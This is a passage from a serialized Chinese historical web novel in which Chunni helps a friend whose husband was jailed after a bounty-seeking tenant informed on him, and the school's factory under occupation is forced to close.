她这一眼几乎是明示,夏风萍脸色微变:“你怀疑是于太太?不会吧?她什么都不知道。” “同在一个屋檐下住,她又喜欢听墙根,这谁说得准?”到了这时候,春妮也不再瞒她:“我从到海城的第一个夏天,到你先生家的小阳台睡觉时,就听到了一些东西,只是不敢乱说… …” 夏风萍眼神发怔:“可我待她一向不薄,她为什么要这么做?” 岂止是不薄。 于太太一家人住在这,一个月才给三十块租金,水电费不用另付。租界里最便宜的房租也涨到了二十来块,一般人家都要跟人分用一间房才租得起。像夏家这样铺实木地板,全套家具用上好木材打造,交通方便又闹中取静的高档社区,谁肯出租? 即便是真有人出租,没有五十块,绝不可能拿得下来。 每回夏家父母来看女儿,都是大包小包地来。夏风萍为人一向大方,连学校老师都能跟着沾光,何况是于太太这家住得这样近的房客? 夏风萍这不是在出租房子,就是在接济穷朋友。 升米恩,斗米仇。 从这样的好房子里被撵出去,谁知道被撵的那一家会干什么? “年前巡捕房贴过告示,鼓励市民举报抗倭分子,一个三百块钱。她不是天天都在哭穷?听见有三百块拿,还不像恶虎见了食地扑过来?反正举报不对又不打板子,举报对了,一石米钱就回来了。” “在她眼里,我先生一条命就值一石米钱?!!”夏风萍不知是不敢信,还是不愿信。 “家里揭不开锅了,别说一担米,就是一粒米都能让兄弟反目。”春妮道:“于先生学校离这不远,我已经叫人去打听,看他们家这些天有什么动静,等几天就知道了。” “怎么都还没睡?”夏太太用完洗漱间出来了。 夏风萍忙背过身去,扭灭了台灯:“就睡。” 两个姑娘盖上被子一同躺下。 春妮知道她睡不着,却也没有出声安慰。 有些事,总得自己想明白,才好不吃第二道亏。 ………… 春妮挑选出来的学生自没得说,都是干将。夏先生夫妇两个还没为女婿的事奔波出个结果,蒋四成已经提着于太太夫妇来跟姐妹俩交代。 “昨天我们跟着她丈夫,发现他下午请假去了巡捕房。” 来之前这夫妇俩已是被收拾过了,此刻乖得像猫似的,缩在姐妹俩脚下。 看见夏风萍,于太太强挤出一脸的笑:“夏小姐,这些人是你叫来的?我没欠你房钱啊,你做什么跟我过不去?凭个甚把我先生打成这样。” 蒋四成冷笑一声,接着道:“这位先生出门后,我们想办法进去打听了一下,听说他是去巡捕房领赏钱的。于先生,你是立了什么功,要到倭国人的地盘领赏钱?” 于先生向来不擅言辞,此刻更是一个字说不出来,“我”了半天,也没“我”出个所以然。 都到了这个时候,春妮几个哪容得他逃避,蒋四成几个几拳头上去,于太太已经嚎出了声:“我们也是没办法啊,米价一天天贵起来,学校里又要降薪。老大不中用,那几天发了红疹子,我们连个看病的钱都拿不出来……呜呜,我只是想着,能不能从倭国人手里骗些钱出来,没想过会害朱先生的。” 可这话说出来,谁信呢? 夏风萍眼神冷得冻人:“你要吃要喝要过日子,就来害我先生?好你个于先生,亏你是读书人,连个礼义廉耻都不要了!” 蒋四成等在旁边,已是捋起袖子急不可耐:“夏老师,跟这等人说这么多干什么?一看就是教训没吃够,才张嘴就咬人,瞧我来打掉他们一嘴烂牙。”说着,一脚跺在于先生手上。 于太太“嗷”地一声要往夏风萍身上扑:“不能啊,夏小姐,不能啊,我先生教书的,手打断了,我们就没有吃饭的家伙,要死人的啊!” 夏风萍身子微微一动,却是往后退了一步:“你们活不了,所以你们就去害人?普天之下都要任着你去害人,否则就是不给你们活路?真是好厉害好不得了!” 她拧住眉毛,春妮怕她气太狠出了事,忙将她拉了出去,劝道:“为那种人生气不值得。你别忘了,朱先生还等着你去救,为了你肚子里的孩子,也不能垮下去。” 夏风萍站在风口,抹掉了眼泪:“我知道。” ………… 挂钟快要指到七点半,夏家别墅外,车铃声由远及近而来。 夏风萍等不住,站起来去开了门:“爸爸,见到人了吗?” 夏先生示意她有话进去再说,转身给黄包车夫付了钱,又另掏出五块钱:“今天劳你跟我一整天,这钱拿去买碗干的吃。” 车夫大喜,笑着给夏先生作揖:“老爷真是大好人。” 大前天,倭国人统计出全市的私人汽车,重新计发车牌。整个公共租界只签发六百张私人车牌,夏家不过是有些家底,自然排不上名号。这几天夏先生出去跑关系见女婿,都坐的是黄包车。偏偏每晚七点半宵禁,跨半个城赶回来,夏先生的乏意从眼睛里都透得出来。 “今天他们让我进去看了,家辉住得是差了些,但人还好,没受什么大罪。他叫我给你带话,叫你安心养胎,倭国人抓不到证据,很快会放人。” “那我明天也去——” 夏先生沉下脸:“胡闹。那里是牢房,里边关的人得了什么病都不好说。你怀着孕,怎么好往那去?听女婿的话,好好在家安胎,外头的事有我和你妈。” 夏风萍低下头没说话,夏太太忙道:“你爸为你的事忙一天了,肯定没吃饭,你去厨房给他煮个面先垫垫。” 夏风萍离开后,夏太太问夏先生:“老爷,你跟我说实话。女婿他……” 夏先生轻声道:“女婿说他没事,可我今天看他手上有烫伤。” 夏太太倒抽一口气:“他们对他用刑了?怎么你没给够钱?” 夏先生没多说:“你明天去药房买点雄黄和DDT,还有烫伤药,我给他捎进去。” “要DDT做什么?牢房里有虫?要不要带被子进去?” “就买些应急的药品,他说他牢里挤得只能坐着睡,人多,热得很,用不着被子。” 趁夏太太没说话,春妮忙道:“药我来准备吧,我这里有一些。” 夏先生盯着春妮:“顾小姐,你给我说实话,家辉他的事,你知道多少?” 春妮只能道:“我知道的,你们也知道。他买了禁书,不至于罪大恶极到用刑吧?” 夏先生点燃烟卷,不知信是没信:“今天我求着见了山本一面,他让我劝风萍,说让家辉懂点事,早点招了好早点回家,免得白受折磨。” “招什么招,没得招。”夏风萍将面碗往父亲面前一摔:“他什么事没做,清清白白的被抓过去,我们还没找他们要人,他们还想屈打成招?” “你还想去找倭国人要人?能的你!”夏先生突然暴怒:“要不是你一出一出的闹出些事情,怎么会惹来今天的祸?到今天还不知道反省,我——” “我什么我?”夏风萍憋了一天的眼泪一下涌了出来:“我闹出什么事了?我没想好好过日子?可他们放过我了吗?他们放过你了吗?爸爸,你经营了那么多年的公司,倭国人让你“自愿加入”华中振兴会社【注】,用军用券那种废纸拿走公司51%的股份,你就那么甘心?” 半晌,夏太太才说话:“先吃了东西吧,吃了东西,也好明天有力气跑关系。” 第190章 190 稳定 三月, 夏家接回了他们的姑爷朱家辉。 如果他不是跟夏先生一起出牢房的门,走在街上,春妮是不敢跟这样的朱先生相认的。 他的头发花白, 两眼深深眍下去, 眼镜已经没了一条腿,用条鞋带崩在耳朵上。他一瘸一拐,跟夏先生走在一起,乍一看上去,比自己的岳父还苍老。 “呜……”夏风萍捂住嘴,向他飞扑过去。 “别过来,”朱先生紧张地后退, 急声跟夏风萍道:“我身上有臭虫,先回去洗个澡咱们慢慢再说。” 春妮跟夏太太忙拉住她, 看夏先生和仆欧掺住朱先生,费力地将他推上了 黄包车。 “家辉,你的腿怎么了?”隔着黄包车,夏风萍执着地盯着朱先生的腿。 这一个月虽然有夏先生的阻拦, 夏风萍后来还是想办法去监狱里看了朱先生几次。只是每次去看他,朱先生都是坐在会客室, 胡须剃得干干净净,头发也梳得整整齐齐,看不出腿上的问题。 “是在狱里受了些风寒, ”朱先生笑着,目光温柔, 落在妻子的肚腹上:“没事的,找个大夫扎两针就没事了。” “没事,对, 一定没事。”夏风萍握着春妮的手,死紧:“都怪我不好,你在里面受苦,我帮不了你什么。” 一个月来,没人知道夏风萍心里经受了怎样的煎熬。 在朱先生入狱前,三个人早有默契,反正直接证据已经消失,只要他咬准了什么事都不知道,倭国人无法奈他何,就总有放了他的那一天。或许正是有这样的信念支撑,帮助朱先生熬过了这一个月非人的折磨。 再说起这些事,他也不再像监狱里那样晦莫如深:“这是哪里的话。监狱里的饭全是馊的,里头掺满了石子,一顿只有两个婴儿拳头大。要不是有太太在外面帮我做饼干饭团送进来,我一个人肯定撑不下来。” 夏风萍似哭似笑:“你净拣好听的说,每次问你,他们是怎么折磨你的,你都说你没这回事,叫我别瞎想,可现在看看你,你再瞒不了我了。” 朱先生就叹了口气:“我若是说,我一点罪都没受,你肯定也不信。但比起那些受水刑火刑的重犯而言,我已经是好多了。” 夏风萍追问水刑火刑是什么,他却是转口笑道:“还是不说这些吧,孩子听着呢。” 春妮就问夏先生:“怎么倭国人今天放了人?” 夏先生两根手指比划了一下:“两条小黄鱼,一根给山本,一根给狱长。不把他们从上到下都喂饱了,能放人出来?” 一家人拥着朱先生先去汤池要了个单间洗澡,女眷们在浴池外的换洗间要了盘瓜子小食边吃边坐着等。 瓜子没磕两颗,春妮看见陪朱先生进去的仆欧偷偷跑出来,冲她打了个眼色。 “怎么了?” “我们姑爷被大狼狗咬过,溃烂没好,顾小姐,你还有没有酒精?我得先给他消个毒。”两人避开夏家母女,小声交谈。 “这他怎么没说呢?重不重?” “这里,这里,这里都有。”仆欧将四肢后背全点了一遍。 春妮倒吸一口气:“这么多处都是被狗咬的?是放了狗群来咬的吧?” “可不是,我们姑爷说,倭国人没事就放狼狗进他们犯人中间咬人。”仆欧心有余悸:“我们姑爷还跟我开玩笑,说只有四五条狗追着,他跑得快,没咬多少。这是跑得快的问题吗?” 春妮摸出一瓶酒精并一瓶碘伏交给他:“你跟他说,洗完澡一定去一趟医院打狂犬疫苗。算了算了,我先去一趟,看看医院有没有疫苗,没有的话,我再想办法到哪去给他弄几针来。” “您受累。” ………… 春妮不过留在外头跑跑腿,又真有多累呢?她无非是心累。朱先生看上去受的都是些皮肉伤,洗完澡去医院又包扎一遍,直到下午,一家人连着春妮才正经吃上一顿饭。 因为这段时间夏家事多,年初倭国人疯狂并购海城的大中企业,安插自己的人手,又因禁书之事四处抓人,导致无数海城人失业,招个代课老师很容易,校长干脆给夏风萍放了大假。现在的海城,缺什么都不缺人才。 自从夏先生“自愿”加入了那什么华中振兴会社之后,打开了倭国人的渠道,论起在倭国人那边的关系,比春妮广多了。夏太太和夏先生要忙着捞女婿出来和公司的日常事务,并不是每天都会来昌平路的别墅跟女儿相聚。 而春妮下了班没什么事的话,一般都是到夏家来陪夏风萍说话吃饭。 最开始,她不是没想过找自己认识的人帮忙,但那几个伪军想想也不是路子,而连德江,尤其倭国人目前在战场上高歌猛进,反而是他被迫投靠的纳尔逊等人处境日渐艰难,听说他们在海城建立的组织还遭受过不止一次的破坏,春妮也有很长一段时间没再听到过他的消息了。 照她的估计,对方现在应该是安全的或是死得很干净。否则,被倭国人抓到手后,以对方对她的恨意,绝对第一时间把她拖下水。 现在几位工部局英方董事已经被倭国人监视起来,不准他们随意出入租界了。 至于纳尔逊欠春妮的人情,也不知道这辈子还有没有还上的一天。 因为她跟符律师有些交情,还有常文远给她通气,关于这些英国人的消息断断续续地传了一些到她耳朵里。 听说在倭国人进攻租界之前,他们就掌握了对方的不少内幕消息,只是按兵不动,待到当天攻破租界时,顺便将他们一网打尽。 按照符律师的估计,为了稳定的需要,可能工部局董事倭国人暂时不会动,但下面的人就说不准了。常文远的消息更加惊人,他说,倭国人秘密处决了一批英国人,搞不好纳尔逊都不在人世了。 接连而来的坏消息让春妮直冒汗:幸好当年纳尔逊拉她入伙时,她看出这个组织不接地气,坚决拒绝了,否则,她一个没有外国护照护身的华国小百姓卷入其中,绝对是第一批被牺牲掉的小棋子。 连德江失踪的消息对春妮来说,有好有坏。 好的方面自不必说,坏的方面,学校方面这几天正在焦头烂额。 “顾老师,你总算回来了。来来来,咱们来开个会。” 穿过林荫路,春妮碰到了季老师,一看对方就是在这里守着等她。 两个人一同去了操场,除了方校长和韩厂长不在,林老师等学校的几个骨干老师已经到了,几人围着篮球场的看台坐下。 三月的海城其实很有些冷,但前几天有消息传来,说圣约翰大学的学生们在会堂开会时被人安装了窃听装置,会议还没结束,几个学生代表便被闯进来的宪兵队抓去了76号,生死未知。 听说这件事之后,学校便有了不成文的规矩,除非必要,以后老师们开会都尽量随机选在开阔安静的室外。 人到齐之后,季老师开门见山:“我们的联络站已经重新启用了。”前几个月,他们的联络点被倭国人扫荡端掉过一次。 这个消息一经宣布,其他人脸上的笑容都轻松了:“太好了,今年学生们都问过我好几次,什么时候重新安排他们去内地。季老师,那我明天就可以通知他们准备起来了吧?” 几年前,从季老师开始帮忙联络学生去内地开始,她的身份就不言自明了。 陆陆续续地做下来,每年这几个老师起码要安排四五批学生离开海城。这些离开的学生中,有一些托人捎过口信回来,基本上都在西边。 这几名老师跟季老师常年联络,负责动员安排各自手下的学生去内地,而春妮呢,就负责一项工作——发钱。 所以春妮不到场,他们的会议就没法开起来。 方校长后来知道她干了件大事之后,也没坚持要钱出来保管,反而说道:“倭国人到处抄检,现在外国人的银行也不安全了。你要是有好地方,就把东西藏起来,也不用告诉我在哪。这笔钱本来就是你想办法弄到手的,你管着也合适。” 春妮知道,这段时间因为倭国人查封了汇丰和花旗等英美大银行,方校长正在发愁,学校在银行存的资金怎么拿出来,拿出来之后,又怎么保管。 学校的产业除去给连德江的部分,都是公有,谁负得起保管这么多钱财的责任?这个时候,恐怕校长听见“管钱”这两个字,头都是疼的。 季老师他们很快统计出了一个大概的人口数目,拿给春妮看的时候,她吃了一惊:“三百人?你们这是多写了一个零吧?”学校现在的学生总共才三千多人,一次走十分之一,多走几次,学校也不用开下去了。 “是吗?我再看看。” “不用看,一定不会有错。”林老师说道:“我成人班上的学生有一半都报了名,阻止不了。” “为什么?”有新加入的老师问:“您跟他们说过,现在道路被挖,水路不通航,说不定走不出郊外,会被倭国人抓住吗?” 190-200 第191章 191 答案 这个问题, 答案其实很明显。 林老师叹道:“还能为什么?旧教材读不了,新教材学生们都不愿意学。情绪一上来,想去内地的不就多了起来?” 林老师说的是去年放寒假前的事, 跟朱先生被抓的缘由还有点关联。 当时租界被占领之后, 禁书之风不止刮在书店书商以及购书者身上,学校当然也无法幸免。倭国人赶在放寒假之前到各学校检查教材,重点检查历史,国文和地理教材,但凡书籍,包括教科书在内,若有涉及抗倭言论, 还有写有“东三省”的书和图表,即使在东北沦陷之前发行, 也都全部被列为了禁书。 如此,学生们无书可读,放假也就放得早。到今年春天复课,新教材下来时, 学生们早就串连完毕,有动作快的, 已经自己找门路出发了。 新教材前几天发放下来后,又引起了学生一阵议论。除了国文历史等文教书籍更改,外语也由英语更改成了倭文。 倭国人这些大张旗鼓的动作, 不止老师,就连敏感一些的学生们都意识到了, 倭国人的奴化教育必将在整个海城实行。想不被这样的教育荼毒分化,唯有尽快与之切割,到自己人的地盘, 到内地去。 季老师的学生组织运行也有了三四年,直到这几个月,突然迎来学生离城的大高峰,肯定会遇到些问题的。 核对完毕之后,季老师让其他老师离开,担心地问春妮:“你那里钱是不是不够了?” 春妮暂时没什么压力,但如果物价再维持那么疯儿的上涨速度,她也不确定,她这点钱可以再顶多久。 她有点苦恼,拿到付鸿民的积蓄好像还没有多久,金钱问题怎么又迫在眉睫了? 为了让季老师不担心,春妮道:“你先安排你的事,我这里还不需要你操心。再过段日子,咱们的工厂再开起来,钱不又多了起来?” 季老师却道:“工厂真还能开起来?” 凉席厂虽有淡旺季之分,按照往年的计划,厂里这时机器应该早就开动起来,为夏季销售开始囤货了。 然而随着华中振兴会社的扩张,许多倭国中小商人也跟随其后,开始了对华国民族工业和小产业主的吞并。学校老师们想方设法收集消息关注时局,知道倭国人接收租界之后,开始重新计发物资,包括工厂物料进出口和厂牌都需要重新统计办理。 学校也遇到了类似的问题,前一个月,几个倭国人找到学校,话里话外说服校长引进资金扩大生产。知情的老师们都明白,无非是又有人看中了竹凉席这只下蛋的金鸡,想进来掺一脚罢了。 来找校长谈生意的倭国人中,有人说是在工部局工商科有关系,如果校长答应的话,他们可以立刻把工厂的厂牌办理完毕。 这就完全是睁眼说瞎话了。 倭国人管制的产业无非是棉麻粮煤等资源型工厂,再则就是生产钢铁,纸品,橡胶油漆,木材等军工所需物资的工厂。他们玩具厂以竹制品为主要原料,木材最多用来制造玩具,用量极微,原本就不在管制范围内。就是需要钢铁,也不过是以此为材料的锯条镙丝等机器耗材。这样的工厂,最多重新登记一遍便可以拿到厂牌开工做事了。 这些倭国人这样说,无非是在告诫众人,想拿到厂牌,必须得听他们的。 如果校长答应他们的条件,完全是把这一厂的工人和韩厂长在内,变成了他们的工人。至于利润,肯定是想也不用再想了。 可他们最开始办厂,就是为了养学校。失去工厂这边的利润,学校损失这么大笔的财源,还怎么办下去? 靠春妮空间里那点死钱,又顶得了多久? 校长和韩厂长被缠在这件事里跟倭国人拉锯,另一个倭国人股东连德江活不见人死不见尸,完全没法给他们当靠山,害得工厂现在也开不了工。 走到宿舍楼门前,春妮跟季老师道别,从自家家里提出一袋荞麦面转头去了校长家。 这几天她有空就陪着夏风萍到处跑,顾不上夏生,将他仍放在方校长家里,请师母一家人帮着管饭。 校长一家人住在半间教室改建成的大平房里,客厅里外用帘子隔开,师母在帘子里头喊:“使劲,使劲,快使劲啊——” 却不是在生孩子。 方校长小儿子桂宝“哇”地哭出来:“妈,我拉不出来。” “怎么还拉不出来?你等等,”师母从帘子后走出来,在煤堆旁边翻找:“唉,我棍子呢?” 春妮问她:“师母,你们这是?” “还能是怎么回事?桂宝这小子四天没拉出来,肚子硬得像石头似的,我用木棍给他通通。” 春妮就道:“我这有瓶甘油,甘油润肠通便,您用木棍沾一些上去看能不能帮忙。” 好一通忙乱,解决了方校长小儿子的肠道问题之后,春妮关心小师弟:“怎么突然便秘便得这么厉害?” 师母道:“我也没想明白,可能还是跟家里这几天吃的苞米粉有关。” “苞米粉?”春妮有几天没去市场,不知道市面上又出了种新东西:“是玉米面?” “不是,就是苞米粉。”师母捧出一把土黄色干粉让春妮看:“就是这个东西,粮店里说是新进的杂粮,只卖两毛钱一斤,我让你桂香姐去买了一些回来,这两天家里早饭吃的是用这个粉和白|面贴的饼子。” 现在一斤碎米黑市卖到三四块钱,还附送小半包碎石头,这个什么苞米粉两毛一斤,不跟白捡似的? 春妮手指沾起一点,放进嘴里尝了尝,“呸呸”吐出来:“什么鬼东西?一点玉米味都没有,你肯定被骗了!把东西扔了吧。” “不会吧,我在铺头老梁那买的,他还算实诚,没骗过我们。” 春妮又仔细尝了尝:粗糙的颗粒糊在食道中,像吞了满口的木头渣,多咂两下,总算尝到些微玉米的甜味。 “该不会是玉米和着玉米棒子一起磨的粉吧?”她猜测道。 师母却是念了声佛:“算是粮食,只要不是观音土,能吃就好。” 见春妮皱眉,她又道:“你们家夏生,我是另外做的,让他吃你送来的白|面。上次就说过,之前夏生的粮食还有剩,让你别送,你怎么又送来了?”这年头蹭饭可不是个好词,粮食比钱还金贵,每回春妮把夏生送到校长家寄养,肯定是要另外拿粮食来给师母家的。 春妮道:“夏生能吃多少?我不是说过吗?多的就给你们。”校长家孩子多,师母是纯粹的家庭主妇,男主人又喜欢周济朋友学生,家里时常没有余粮。 春妮有时借着寄养夏生的理由,会多送些粮食过来,只是没想到,校长家精细到现在另外给夏生算了个灶头,也不肯占她便宜。 师母连忙摇手:“那可不成,现在粮食多贵啊,能省一些是一些,反正吃差点也不会怎么样。倒是校长要我跟你说,现在都困难,以后你再不要这么大手大脚,这顿粮食吃了,还不知道下顿在什么时候,你要学会过日子。” 连她这个最吝啬,最俭省的人都被人这样叮嘱,春妮不知当哭还是当笑。 “大人可以将就,可小孩子呢?”她劝道:“小孩子脾胃弱,天天吃这样的东西,哪里受得了?师母您也不想这样的事天天来一遍吧?” 见师母目露犹豫,春妮直接伸头去叫:“桂宝,晚上跟哥哥姐姐到我家吃饭,我做粢饭团给你吃。” 桂宝是师母住进学校后跟方校长生的孩子,今年才不到三岁,任事不懂,听见有好吃的,开心得在椅子上蹦:“太好了,晚上有粢饭团吃了!顾姐姐,我要点芝麻的。”却是腿软了一下,差点跌倒下去,叫春妮扶住了。 师母沉下脸来:“桂宝!” 春妮不让师母说下去:“就这么说定了,师母,就这一次。桂宝来,现在你下来,跟我去我家找夏生哥玩。” 桂宝看见自己娘脸色不对,急忙躲到春妮身后,露出一颗脑袋:“妈,我吃得不多的, 就吃这么一点点。剩下的都给你们带回来,给你和爸吃,我不吃。” 师母瞪着他:小儿子的眼睛长得大,因为这些天吃不饱,原本就不大的脸颊消瘦下去,竟是没有一点小孩应有的圆润饱满。这大大的眼睛挂在凹陷下去的脸上,仿佛是滑稽戏特意画出来的一般,有一种荒诞的可怜相。 师母到底没再说下去。 晚上,春妮让夏生叫来桂香和方家的其他三兄弟,给他们用白米做了一顿结结实实的粢饭团。 这些粢饭团不像后世一样,花巧地包了油条肉松等内容物,只是放了点油和葱花,再加一点揉碎的海藻,就让每个人幸福地吃撑了。 桂宝这时全然忘记了自己下午对母亲的承诺,他揉着小肚皮,小小的眉头皱起来:“要是每天都能吃这么饱就好了。” 一边的桂香揉了揉他的脑袋,无声地叹了口气。 第192章 192 寂静 校长办公室里烟雾缭绕。 唯一的办公桌旁, 方校长和韩厂长分踞两边吞云吐雾,须臾,齐声叹了口气。 工厂开工的事直拖到现在, 都四月都没什么结果, 虽说淡季也给发工资,但考虑到效益问题,只是十块二十块钱这样的基本工资,一个人糊口都不够,更不要提养家。 整座工厂的工人都指望开工后的工钱帮补家用,拖了这一个多月,人心惶惶, 有人已经另谋生路,去了其他地方找工作。 这是个非常不好的兆头。 因为在开厂之前, 学校承担了很大一部分学徒工培训培养的工作,加上待遇丰厚,所有盈利用于学校建设和工厂扩张,不存在矛盾最尖锐的劳资问题, 工人对工厂的忠诚度相当高。不是遇到一般的困境,没人会愿意在工厂困难时期背负骂名离开。 局面再继续僵持下去, 肯定有更多人坚持不住,工人们继续流失下去,也不用再操心重开工厂的事了。 所以, 他们今天坐在这里—— “对不起,我来晚了。”房门打开, 王老师匆匆进门。 方校长点了点沙发:“不晚,你先坐下吧。” 王老师将提在手上的布口袋放在地上,里面的票子被捆成五六匝, 她一样样往外拿:“这是中储券,这是军票,这是法币,这几张是美金,法郎,能兑成外币的,我都兑了。”末了,她从贴身的衣袋里掏出几筒银元:“就这么多,您点点。” 所有捆匝好的票子拿出来,还没占满半张桌子,然而这正是工厂所有剩下的活动资金。 方校长翻了翻王老师递来的单据,没管那堆钱,问道:“你的外币是用什么兑的?” “还能是什么,鹰洋,大洋,龙洋什么都有,外国人只认这些银币。”王老师说道:“我考虑到学校需要,一样换了几张。” “我不是说,让你都取出来发给工人?换外币干什么?” 这种时候,人们都急着往外逃,平时十块大洋能兑换一英镑,现在十二块十五块都不一定换得了。方校长主要是心疼被钱贩子赚走的汇率差价。 “前几天有几名工人说过,他们有门路去国外务工。我想,给他们兑换一些外币,也方便他们在外行走。” 方校长讶道:“去国外?这种时候还能到哪个国外做事?王老师你有没有问清楚,他们不会被人骗吧?” 王老师摇了摇头,没等说话,旁边韩厂长忽然冷笑一声:“先帝创业未半而中途分家产。都等着吃饭,就算我们劝人别去,别人会听我们的?” 又是一阵难挨的沉默。 海城落入倭国从的全面掌控,华国处处都是焦土,剩下的工人不仅无法再像前些年一样偷偷转移出去开分厂,反而温南和双城的工人更早时候已经被遣散去自谋生计。 海城工厂同样迟迟无法开工,每天水电工资,仓储费等费用开销出去,花得人心焦。拖到现在,面临的问题迫在眉睫。 他们几人坐在这里,为的就是商量这一厂工人的去向。 “别的都好说,工厂不能全落在倭国人手里,那些机器,我宁愿砸了,也不会便宜倭国人。”校长又点燃一支烟,深深吸了一口。 韩厂长欲言又止,但这个问题在前些天他们争执了无数次。这一条底线,校长坚持不退,到底走到了这一步。 “咱们先合计合计,这些钱该怎么发下去吧?我建议,银元和法币留给去外地的人,其他的,都发给本地工人。”眼看气氛越来越不对,王老师另起了一个话题。 “这恐怕不行。军票连倭国人都不用,单独发给谁,谁知道哪天变成了真正的废止,大伙都不会乐意,不能这么分。” “那怎么分?” “……” 随着几人的讨论,桌上捆好的钱被打散,气氛逐渐松驰,重新埋首将其分成更小份。王老师裁出数张白纸,让方校长将每张纸写上名字,连同零碎的钞票一起,用别针别起来。 韩厂长在旁边默默看着,忽然咳嗽一声,办公室门再一次打开。 这次,终于是春妮走进来:“对不住,现在兑假洋的地方太多了,我多跑了几个地方,你们看看里边还有没有假的。” 因为现在钱币种类过多,但只有银币始终是最坚|挺的币种,春妮以前时常找来换钱的钱贩子有不少都做起了真假混卖的生意。再有眼力的人都难保有不走眼的时候,兑换金额大的话,不留神就会被混几枚□□进去。 为了混水摸鱼,这些假银币里一般会掺一两成的真银,不留神很容易被骗过去。鉴别这类假|钱的方法也很简单,一般放在手里掂一掂就知道。有那讲究一些的,会往里面灌一层薄铅,这时便要加些留神了。 方校长曾经因为担心春妮去换钱遭遇不测,派了几名学生让他们一起去。结果那次对方以为他们带人去黑吃黑,见了面差点掏出家伙火拼,后来春妮就坚决不让人跟了。 原本的租界就不太平,这段时间,春妮更是见足了海城地下势力花式百出的行骗和劫杀,特别倭国人重开烟馆之后,大烟膏的味道总会在各个犯罪场所之中流连不去,成为犯罪滋生的又一温床。 “那兑得怎么样?” 春妮没答话,搁下怀里抱的口袋撑开,让众人自己去清点,自己一屁股坐到椅子上,轻轻抽了口气。 方校长明白此事风险,一直为她提着心,立刻发现了她的不对:“怎么?有什么问题?” “没什么,之前跟人撞了一下,肩膀有点疼。”春妮活动了一下胳膊,觉得没什么大碍。 方校长知道她有多能忍,这孩子越是轻描淡写,越说明事情不是那么简单。 他跟王老师使了个眼色,后者伸出手,轻柔不失坚决地扣住她手臂:“给我看看。” 春妮没忍住,“嘶”了一声。 王老师眼明手快,反手撸起她的袖子,看见一块纱布正缠在她大臂上。 看瞒不住了,春妮只好道:“回来时路过五桥头,遇到几个小贼抢我东西,受了点伤。真没什么大事。”五桥头就是苏河离学校最近的那座桥。 最近因倭国人严查走私,苏河两岸不许片板停留,租界里的人想去华界,只有通过河面上有数的几座小拱桥,拿出市民证让倭国兵检查之后才给予通行。 倭国人在租界长达四年多的封锁中得到了甜头,即使已经占领了租界,将整座海城都掌控在手中,也没有放开租界内外的交易限制,反而采取更严厉的手段,打击人们私底下的商业行为。 他们把持了市面上大部分的煤炭和棉纱等经济民生物资的定价权,使得租界内棉纱价格在短短的几个月,又翻了三倍价。华界水涨船高,也涨了一倍多。 春妮这次去华界,不止为了换钱,还为了学校下半年的招生开始提前做准备。因为之前合作做校服的服装厂 报价过高,她听说黑市新到了一批土布,准备去碰碰运气。 对一般人难于登天的运输难题,在春妮面前,自然不成问题。只是她运气不太好,在她赶过去之前,那批土布据说已经落到了别人手上。 王老师按着春妮检查一遍,发现她的确没受什么大伤,叮嘱她两句,叫她坐在旁边好好歇着,几个人继续做正事。 因为有了春妮带回来的钱,桌上分出来的钱币每叠又加厚了些许,但仍然没有多少张。末了,方校长取出最厚的两叠,分别发给韩厂长和王老师,拍拍两人的肩膀,不知说什么好。 方校长递给春妮时,她摇手拒绝了:“给别人吧,我不差这几个。” 这种时候,方校长也不跟她推让。日子这样艰难,其他人能多拿两块钱,说不定就能多熬几天,熬过难关度过的时候。 王老师站起来,低声道:“我出去把工人都叫过来。” 校长沉默着,拿出他黑色的旧布包,开始一叠一叠地往里放钱。 韩厂长垂下头,像斗败了的公鸡。 这四年多来,春妮头一回在韩厂长脸上看到迷茫。 不一会儿,办公室外面响起杂乱的脚步声,有人在外边高声嚷嚷:“这叫咱们以后怎么办?我们全家都指望着我的工钱过日子。王老师,您说句话啊。” “去年都还好好的,今年厂子说没就没了。厂里就没个别的说法?” “是啊,不是前几天校长还说了,让工厂不会有有事,要我们安心吗?现在又是怎么回事?” 外头工人们说话越来越激动。 春妮准备站起来,校长深吸一口气,已经先一步走了出去。 薄薄的门板外,方校长的声音微微颤抖:“大家冷静一下。近两个月,工厂遭遇的困境,相信很多人已经有所耳闻。工厂从我手里一手建立,我看着它从无到有,克服无数个困难,养活数百个工人,养活数百个家庭……如果不是万不得以,我们也不想把大家叫过来,亲口向你们宣布……从明天开始,咱们的工厂就要正式歇业了。” 门外,寂静一片。 校长的声音有些哽咽:“……厂里决定,给大家最后发放一笔三个月工资的遣散金。大家现在来排个队,把钱领了吧。” 第193章 193 安排 “校长, 顾老师怎么说?还有咱们厂长呢?他怎么说?”门板外头,有工人发问。 “对啊,顾老师她准有办法。校长, 让我们听听她的意思吧。” 春妮的肩膀一动, 却立刻叫人给按住了。 王老师盯着她,声音细细:“别去,你个小孩子,能办什么事?让校长跟他们说。”她是怕春妮被工人们用话架着,答应自己办不到的事。 春妮摸了摸荷包,没跟王老师犟下去:今天本打算出门,看能不能淘换些便宜粮食抵一部分工人的遣散费。两手空空地回来, 对着那些工人们,她的确也为难。 “他们都不在, 不用找。”校长声音有些模糊:“都拿了钱别耽搁,早些家去,想想别的法子。” 半晌,没人再说话, 不知是谁先抽答一声,外头的哭声一声连一声:“校长, 真没有一点办法了?” “校长,我们不想走。” “要是厂里有困难,我可以暂时不要工钱, 校长,你别关了厂子。关了厂子, 咱们都没地方去了。” 哭声渐渐大起来,校长勉强说着:“哭什么,我是实在没法子。都是大人了, 别叫我为你们操心。走吧,都走吧。” 到底又说了一句:“要是实在过不下去,再来找我。” 屋里三个人都不出声,听见校长一气儿将人都带出了办公楼。 韩厂长将钞票往兜里卷两卷,站了起来。 王老师又按着他,摇摇手,小声道:“我先出去看看,等没人了,你们再出去。”她猫下腰,做贼似地,溜墙根出了门。 屋里剩下两人,春妮再才问韩厂长:“你往后有什么打算?” 韩厂长没出声,春妮就明白了。 工厂决定散伙之前,校长曾经承诺过几人,说他们可以暂时先回来教书。当时韩厂长的意思,他当了这么些年厂长,多少有些人脉寻别的出路,不想占着位置白拿工钱。 倭国人占住海城各行各业,每天都有大量的本地人口失业。学校这段时间扩招已经到了极限,根本不缺老师和佣工。 三个人都知道他这话不过是安慰。海城这段日子,多少产业主,高级经理家里破了产,一饭难求,他就是再有本事,又有哪家有余力收留他吃饭拿薪水? 当时方校长就拒了他,在校长心里,他保不住工厂,不想让跟自己一路走来的老同事落到三餐不济的一步。 春妮跟韩厂长最熟悉,猜到他心里有别的想法,今天算是找到机会,单独跟他谈开。 韩厂长不作声,春妮不再勉强他。 她从兜里掏出一叠钱塞过去,被他一把攥住往外推:“你这是干什么?我不要!” 